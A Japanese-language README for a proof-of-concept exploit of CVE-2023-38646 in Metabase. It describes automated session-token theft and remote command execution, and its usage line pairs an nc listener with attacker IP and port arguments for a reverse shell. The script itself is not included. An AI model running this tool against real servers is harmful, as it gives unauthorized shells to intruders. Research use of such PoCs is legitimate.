CVE-2023-38646-PoC-Metabase

CVE-2023-38646 を悪用するための Proof-of-Concept スクリプト。教育および研究目的のみを想定しています。

説明

これは、Metabase に影響を与える脆弱性 CVE-2023-38646 を悪用するための Python ベースの Proof-of-Concept (PoC) スクリプトです。このエクスプロイトは、設定ミスを悪用してリモートコマンド実行を達成します。

⚠️ 免責事項:
このスクリプトは、教育目的および倫理的な研究のみを目的としています。事前の同意なしにシステムを攻撃するためにこのスクリプトを悪用することは、違法かつ非倫理的です。作者は、このツールの使用によって引き起こされたいかなる損害についても責任を負いません。

機能

• セッショントークンを自動的に取得
• リモートコマンド実行用のペイロードを生成
• エクスプロイト展開を自動化

要件

• Python 3.7+
• requests ライブラリ (pip install requests)

使用方法

• 最初に nc でポートをリッスンしていることを確認してください。

python3 exploit.py -u <target_url> -ip <your_ip> -p <your_port>